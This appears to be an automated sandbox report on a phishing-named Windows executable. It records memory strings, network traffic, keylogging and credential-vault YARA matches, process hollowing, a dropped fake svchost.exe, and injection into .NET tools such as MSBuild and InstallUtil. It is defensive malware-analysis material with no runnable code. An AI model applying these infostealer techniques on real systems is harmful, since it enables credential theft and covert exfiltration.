Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2874066632.0000000001001000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, 00000000.00000002.1664238561.000002091F998000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A0F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.zoho.eu
Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://status.thawte.com0:
Source: Amcache.hve.18.dr	String found in binary or memory: http://upx.sf.net
Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: svchost.exe, 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2868048682.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: svchost.exe, 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2868061435.0000000000437000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.000000000601B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2874066632.0000000001001000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49759 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, 3DlgK9re6m.cs	.Net Code: DXScWpy
Source: 10.2.svchost.exe.21690133730.2.raw.unpack, 3DlgK9re6m.cs	.Net Code: DXScWpy

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.svchost.exe.2169004f2c0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.svchost.exe.21690133730.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.svchost.exe.21690133730.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Source: C:\Users\user\AppData\Roaming\svchost.exe

Code function: 41_2_00007FFD9B8D188A NtUnmapViewOfSection,

41_2_00007FFD9B8D188A

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8B5AB0	0_2_00007FFD9B8B5AB0
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8BA200	0_2_00007FFD9B8BA200
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8B0620	0_2_00007FFD9B8B0620
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8BD511	0_2_00007FFD9B8BD511
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8BD130	0_2_00007FFD9B8BD130
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8B91F2	0_2_00007FFD9B8B91F2
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8C0658	0_2_00007FFD9B8C0658
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8C6478	0_2_00007FFD9B8C6478
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B8C58D9	0_2_00007FFD9B8C58D9
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B885AB0	8_2_00007FFD9B885AB0
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B88A200	8_2_00007FFD9B88A200
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B88D130	8_2_00007FFD9B88D130
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B880620	8_2_00007FFD9B880620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B88D511	8_2_00007FFD9B88D511
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B885970	8_2_00007FFD9B885970
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B8891F2	8_2_00007FFD9B8891F2
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B8958D9	8_2_00007FFD9B8958D9
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B890658	8_2_00007FFD9B890658
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B896478	8_2_00007FFD9B896478
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8A5AB0	10_2_00007FFD9B8A5AB0
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8AA200	10_2_00007FFD9B8AA200
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8AD130	10_2_00007FFD9B8AD130
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8AD511	10_2_00007FFD9B8AD511
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8A5970	10_2_00007FFD9B8A5970
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8A91F2	10_2_00007FFD9B8A91F2
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8B58D9	10_2_00007FFD9B8B58D9
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8A0620	10_2_00007FFD9B8A0620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8B0658	10_2_00007FFD9B8B0658
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B8B6478	10_2_00007FFD9B8B6478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_010A4AD0	15_2_010A4AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_010A3EB8	15_2_010A3EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_010A4200	15_2_010A4200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B66B8	15_2_066B66B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B87F0	15_2_066B87F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066BF7D8	15_2_066BF7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066BB3E0	15_2_066BB3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B33A0	15_2_066B33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B0040	15_2_066B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066BE888	15_2_066BE888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B0006	15_2_066B0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B8F2F	15_2_066B8F2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066BAD00	15_2_066BAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_066B59C0	15_2_066B59C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_00F34AD0	26_2_00F34AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_00F3DB28	26_2_00F3DB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_00F33EB8	26_2_00F33EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_00F34200	26_2_00F34200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066B87F0	26_2_066B87F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066BF7D8	26_2_066BF7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066BB3E0	26_2_066BB3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066B33A0	26_2_066B33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066B0040	26_2_066B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066BE898	26_2_066BE898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066B59D0	26_2_066B59D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066B0006	26_2_066B0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066B8F40	26_2_066B8F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_066BAD00	26_2_066BAD00
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B875B11	27_2_00007FFD9B875B11
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B87A200	27_2_00007FFD9B87A200
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B87D130	27_2_00007FFD9B87D130
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B870620	27_2_00007FFD9B870620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B87D511	27_2_00007FFD9B87D511
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B875970	27_2_00007FFD9B875970
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B8791F2	27_2_00007FFD9B8791F2
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B8858D9	27_2_00007FFD9B8858D9
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B880658	27_2_00007FFD9B880658
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B886478	27_2_00007FFD9B886478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_01094AD0	37_2_01094AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_01093EB8	37_2_01093EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_01094200	37_2_01094200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA66B8	37_2_06AA66B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA87F0	37_2_06AA87F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AAF7D8	37_2_06AAF7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA33A0	37_2_06AA33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AAB3E0	37_2_06AAB3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA034D	37_2_06AA034D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA9C48	37_2_06AA9C48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AAE888	37_2_06AAE888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA8F2F	37_2_06AA8F2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AAAD00	37_2_06AAAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_06AA59C0	37_2_06AA59C0
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8B0620	41_2_00007FFD9B8B0620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8B5B11	41_2_00007FFD9B8B5B11
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8B91F2	41_2_00007FFD9B8B91F2
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8CFB38	41_2_00007FFD9B8CFB38
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8CD897	41_2_00007FFD9B8CD897
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8CBBBE	41_2_00007FFD9B8CBBBE
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8C0658	41_2_00007FFD9B8C0658
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8BF3A3	41_2_00007FFD9B8BF3A3
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8BD511	41_2_00007FFD9B8BD511
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8BD130	41_2_00007FFD9B8BD130
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8C6478	41_2_00007FFD9B8C6478
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B8C58D9	41_2_00007FFD9B8C58D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_010C4AD0	48_2_010C4AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_010C3EB8	48_2_010C3EB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_010C4200	48_2_010C4200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F066B8	48_2_06F066B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F087F0	48_2_06F087F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F0F7D8	48_2_06F0F7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F0B3E0	48_2_06F0B3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F033A0	48_2_06F033A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F00040	48_2_06F00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F09C48	48_2_06F09C48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F0E888	48_2_06F0E888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F00006	48_2_06F00006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F08F2F	48_2_06F08F2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F0AD00	48_2_06F0AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_06F059C0	48_2_06F059C0

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 456 -p 7792 -ip 7792

Source: svchost.exe.0.dr	Static PE information: No import functions for PE file found
Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Static PE information: No import functions for PE file found

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, 00000000.00000000.1606308025.000002091D7B2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameasia.exe* vs RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Binary or memory string: OriginalFilenameasia.exe* vs RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Source: 10.2.svchost.exe.2169004f2c0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
